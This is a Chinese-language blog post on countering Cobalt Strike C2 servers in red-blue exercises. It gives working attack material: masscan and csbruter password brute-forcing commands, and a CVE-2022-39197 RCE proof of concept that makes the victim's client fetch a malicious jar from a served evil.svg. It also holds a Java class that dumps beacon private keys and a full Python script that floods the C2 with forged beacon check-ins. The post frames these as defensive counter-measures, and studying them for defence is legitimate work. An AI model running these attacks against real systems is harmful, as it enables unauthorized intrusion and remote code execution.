红蓝对抗|反制cs的一些常用方式

举报
亿人安全 发表于 2023/08/29 14:52:40 2023/08/29
【摘要】 cobalt strike 是护网中红队比较常用的c2工具 在检测中发现cs后门 可以用以下这几种方式进行反制。cs上线流程分析攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager;攻击者投递Stager到受控主机;受控主机在Exploit阶段执行小巧的Stager;受控主机根据Stager Url请求特征向Beacon Staging Server...

cobalt strike 是护网中红队比较常用的c2工具 在检测中发现cs后门

可以用以下这几种方式进行反制。

cs上线流程分析


攻击者利用CS Server生成新的Beacon监听(包括一对非对称公私钥)并生成Stager;
攻击者投递Stager到受控主机;
受控主机在Exploit阶段执行小巧的Stager;
受控主机根据Stager Url请求特征向Beacon Staging Server下载体积较大更复杂的Stage到本地,Beacon Staging Server会校验Url的合法性;
Stage解密并解析Beacon配置信息(比如公钥PublicKey、C2 Server信息);
Stage通过公钥PublicKey加密主机的元数据并发送至C2 Server;
C2 Server用私钥解密数据获取主机元数据。

从上述流程中,我们能Get到2个核心点:

Stager Url校验算法

Beacon配置的解密算法

与CS Server合法通信的问题等价转换为获取Stager Url和Beacon解密问题,即:

CS/C2 Server合法通信 = (Stager Url校验算法,Beacon解密算法)

只要拿到了(Stager Url校验算法,Beacon解密算法),相当于我们掌握了与CS/C2 Server合法通信的凭据。我们分别对上述2个核心点进行分析。

也就是说,我们可以通过生成4位的随机校验码,通过checksum8算法获取文件,这里以7vv9为例:55+118+118+57-256=92

  1. checksum8:这个函数可能用于计算数据的8位校验和。它可以接收一个数据块作为输入,并返回一个8位的校验和值。校验和通常用于验证数据在传输过程中是否完整和准确,以检测数据损坏或错误。

  1. MSFURI:这个函数可能用于处理和操作Metasploit框架中的URL。Metasploit是一个流行的渗透测试和漏洞利用工具,"MSFURI"函数可能提供一些与URL相关的功能,如解析URL、提取URL参数等。

  1. isStager:这个函数可能被用于判断某个脚本或数据是否为Stager。Stager是指一段代码或载荷,用于在攻击中引导或加载后续的恶意代码。"isStager"函数可能会对输入进行检查和判断,以确定其是否符合Stager的特定条件。

Beacon配置解密算法

使用工具进行解密:https://github.com/Sentinel-One/CobaltStrikeParser

方法1 爆破cs弱口令

在收集到红队 teamserver 真实ip信息后 默认开放的端口是 50050

也可以使用masscan -p1-65535 ip 对服务器所有端口进行扫描

找到开放的端口 尝试破解口令。

破解 脚本 https://github.com/ryanohoro/csbruter

└─$ sudo masscan -p1-65535 192.168.10.158
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2023-06-28 03:49:39 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 8800/tcp on 192.168.10.158                                
Discovered open port 50666/tcp on 192.168.10.158       

访问端口

然后抓包查看。发现有一段特殊字符。

全端口扫描也能扫到该端口。

指纹有可能不一样 这个版本是修改过的。

执行脚本

python csbruter.py -p 50666  192.168.10.158 top1000.txt

得到密码连接方对方的tamserver 即可。 再进行下一步操作。

方法2 CS RCE(CVE-2022-39197)反制红队主控制端

Cobalt_Strike <4.7.1 RCE (CVE-2022-39197) 在这个版本存在远程RCE 红队的版本比这个低的情况下 可以进行反制。

脚本下载地址 https://github.com/its-arun/CVE-2022-39197

原理是 在java swing 中 某个控件 存在rce 刚好 cs用到这个控件 因为长度有限制 目前主要的利用方法是,通过hook修改进程名加载远程恶意的jar包。

首先使用idea修改一下 jar包里面执行执行后门

接着生成jar包 mvn clean compile assembly:single

使用mvn打包。

放入cve的 serve目录 接着修改url 下载访问jar的地址

开启8080端口服务

python -m http.server 8080

找到红队beacon.exe文件

使用poc执行即可

python cve-2022-39197.py beacon.exe http://192.168.10.162:8080/evil.svg

执行这个代码 首先要做好 靶场的物理隔离。防止红队进行渗透,程序执行一分钟自动退出。

红队只要打开进程管理 就会执行 蓝队的后门。

可以看到有个进程是空白

蓝队cs上线 反制成功了。

编写攻击脚本。

使用cs,生成一个shellcode。

执行python脚本。

发现有新主机上线

方法3:批量伪装上线

分析原理:

利用版本


利用Wireshark抓包工具分析一下Cobalt Strike的上线过程是怎么样的

测试机ip

发现有get/ gif文件。

查看数据包

看到cookie是一串非对称RSA加密类型,需要一个私钥Private Key才能对其进行解密

Cookie: LK+6vKoqY34uzIlDc+x9dRGwaVwwRkxbcOCt51ZECmf64HPmGH59jubofp25saDCVko+r+8s4eLYiNIkitDHl8UDP9N9OXImcQp88t1RdmHaO6rIekSDc/osRjQH47ccHjzMDt/zX5/MXvMRJZ/mMvHFzCvRS1oP8XRWibdIcUI=

解密代码如下:

DumpKeys.java:

import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;

class DumpKeys
{   
    public static void main(String[] args)
    {
        try {
            File file = new File(".cobaltstrike.beacon_keys");
            if (file.exists()) {
                KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
                System.out.printf("Private Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
                System.out.printf("Public Key: %s\n\n", new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
            }
            else {
                System.out.println("Could not find .cobaltstrike.beacon_keys file");
            }
        }
        catch (Exception exception) {
           System.out.println("Could not read asymmetric keys");
        }
    }
}

运行解密脚本进行解密。

用rsa网站解密

https://the-x.cn/cryptography/Rsa.aspx

可以看到解密出的数据有我们的元数据,HTTP类型Beacon上线包里的Cookie是RSA加密过的主机元数据,

编写类似爬虫请求来进行模拟上线。

import requests

url = "http://192.168.119.128:8001/pixel.gif"

header = {
    "User-Agent" : "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)",
    "Accept" : "*/*",
    "Cookie" : "FRfwPoK21T48W80c9VZm8C0vw1116g/X6T4nxjYGNqQJquF9Z7M2AS2QDP6yHz+ca7rOpxi0f/fnitfMLVfy/wOwMrHDZdsxpAp2j77425op8AV9DCNYftCVowPrBtSaN4d6q3LBkXXcAbYcD9k/NDRIXB/TrWHu015XmrCibnA=",
    "Connection" : "Keep-Alive",
    "Cache-Control" : "Cache-Control"
}

r = requests.get(url,headers=header);
print(r.url)
print(r.text)
print(r.headers)
print(r.status_code)

更改脚本内容

使用脚本进行模拟上线。

分析流量

访问请求地址。

http://192.168.119.128:8001/pixel.gif

解密后可以看到:公钥PublicKey以及CS服务器地址

这里直接使用脚本来解密beacon的publickey

脚本链接:https://github.com/LiAoRJ/CS_fakesubmit

#!/usr/bin/env python
# coding=utf-8
from typing import Text
import rsa
import random
import linecache
import urllib.request
import multiprocessing
import base64

print("  ____ ____    _____     _          ____        _               _ _")
print(" / ___/ ___|  |  ___|_ _| | _____  / ___| _   _| |__  _ __ ___ (_) |_")
print("| |   \___ \  | |_ / _` | |/ / _ \ \___ \| | | | '_ \| '_ ` _ \| | __|")
print("| |___ ___) | |  _| (_| |   <  __/  ___) | |_| | |_) | | | | | | | |_")
print(" \____|____/  |_|  \__,_|_|\_\___| |____/ \__,_|_.__/|_| |_| |_|_|\__|")
print('+  @公众号 : F12sec                                                ')
print('+  @Author : LiAoRJ                                               ')
print('+  使用格式: python3 cs_fakesubmit.py                                  ')
print('+  将PublicKey放入Public.txt         >>> MIGfXXXXXXXXXXXXXXXX==                             ')
print('+  输入C2 Server URL         >>> 如 http://192.168.1.1:8081/dot.gif                          ')


def fake_submit(url,Textline1,Textline2,Textline3,pubkey):
# for _ in range(10):
    #pack = b'\x00\x00\xBE\xEF'  # pack head
    #pack += b'\x00\x00\x00\x4C'  # pack len
    pack = bytearray(random.getrandbits(4) for _ in range(16))  # AESKEY
    pack += b'\xa8\x03'  # name charset  (int) (little)
    pack += b'\xa8\x03'  # name charset  (int) (little)
    # pack+=b'\x00\x00\x00\x06' # Beacon Id random
    pack += random.randint(0 , 9999999) .to_bytes(4, 'big') # Beacon Id
    pack += random.randint(0 , 65535) .to_bytes(4, 'big') # Beacon Pid
    pack += b'\x00\x00'  # Beacon Port
    pack += b'\x04'  # Beacon Flag 04
    pack += b'\x06'
    pack += b'\x02'
    pack += b'\x23\xf0\x00\x00\x00\x00'  # windows version (int)
    pack += b'\x76\x91'  # windows version_1 (int)
    pack += b'\x0a\x60\x76\x90\xf5\x50'
    pack += bytearray(random.getrandbits(4) for _ in range(2)) + b'\xA8\xC0' #Beacon ip  192.168.xxx.xxx

    Computer_name = bytes(Textline1.encode('utf-8')) + b'\x09'
    User_name = bytes(Textline2.encode('utf-8')) + b'\x09'
    Process_name = bytes(Textline3.encode('utf-8')) + b'\x09'
    pack += Computer_name + User_name + Process_name
    #pack += bytes(''.join(random.sample(string.ascii_letters + string.digits, 6)), encoding = "utf8")+ b'\x09' + bytes(''.join(random.sample(string.ascii_letters + string.digits, 6)), encoding = "utf8") + b'\x09' + bytes(''.join(random.sample(string.ascii_letters + string.digits, 6)), encoding = "utf8")
    pack = b'\x00\x00\xBE\xEF'+len(pack).to_bytes(4, 'big')+pack

    # pubkey = rsa.PublicKey.load_pkcs1_openssl_pem("""
    # -----BEGIN PUBLIC KEY-----
    # MIGfXXXXXXXXXXXXXXXX==
    # -----END PUBLIC KEY-----
    # """)
    pem_prefix = '-----BEGIN PUBLIC KEY-----\n'
    pem_suffix = '\n-----END PUBLIC KEY-----'
    key = '{}{}{}'.format(pem_prefix,pubkey,pem_suffix)
    pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(
        key
    )
    # use the CobaltStrikeParser extract public key from the payload https://github.com/Sentinel-One/CobaltStrikeParser  parse_beacon_config.py payload_url --json
    #Remember to remove the extra padding from the public key
    enpack = rsa.encrypt(pack, pubkey)
    header = {
        'Cookie': base64.b64encode(enpack).decode('utf-8')
    }
    request = urllib.request.Request(url, headers=header)
    reponse = urllib.request.urlopen(request).read()


if __name__ == "__main__":
    url = input("请输入目标C2 Server URL:") # C2 Server URL
    number = input("请输入要发送的次数:") #发送次数
    filename1 = './Computer_name.txt' #计算机名称
    filename2 = './User_name.txt' #用户名称
    filename3 = './Process_name.txt'#进程名
    filename4 = './Public_key.txt'
    with open(filename1,'r') as file1:
        with open(filename2,'r') as file2:
            with open(filename3,'r') as file3:    
                with open(filename4,'r') as file4:
                    pubkey = file4.readline()
                    Count1 = len(file1.readlines())
                    Count2 = len(file2.readlines())
                    Count3 = len(file3.readlines())
    for _ in range(int(number)):
        Textline1 = linecache.getline(filename1,random.randint(1,Count1)).replace('\n','')
        Textline2 = linecache.getline(filename2,random.randint(1,Count2)).replace('\n','')
        Textline3 = linecache.getline(filename3,random.randint(1,Count3)).replace('\n','')
        t = multiprocessing.Process(target=fake_submit(url,Textline1,Textline2,Textline3,pubkey)) 
        t.start()
        # fake_submit(url,Textline1,Textline2,Textline3)
    print("OK!")

脚本分析:

脚本首先会读取输入的C2 Server URL和发送次数,然后读取计算机名称、用户名称和进程名的文件,以及公钥的文件。接着,脚本会循环指定的发送次数,每次循环中,从文件中随机选择一行作为计算机名称、用户名称和进程名,然后将这些数据进行加密,并添加到请求的Cookie头中,最后发送请求。 脚本中使用了`rsa`库来进行数据加密,使用了`urllib`库来发送请求。 需要注意的是,该脚本中的加密方式是使用RSA算法,需要提前将Cobalt Strike的公钥存储在Public.txt文件中,并且确保公钥格式正确。另外,计算机名称、用户名称和进程名的文件需要提前准备好,每行一个数据。

命令:

反制上线过程

配置公钥

使用脚本攻击,然后输入c2地址。

然后测试上线机器,成功使用脚本上线10台cs,对攻击者进行反制。

方法4:旁路阻断

利用该c2地址的其它搭的web服务,测试存在那些漏洞,开放那些端口,然后对其进行测试,然后拿到其它站点的服务shell,然后对c2进行攻击。


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。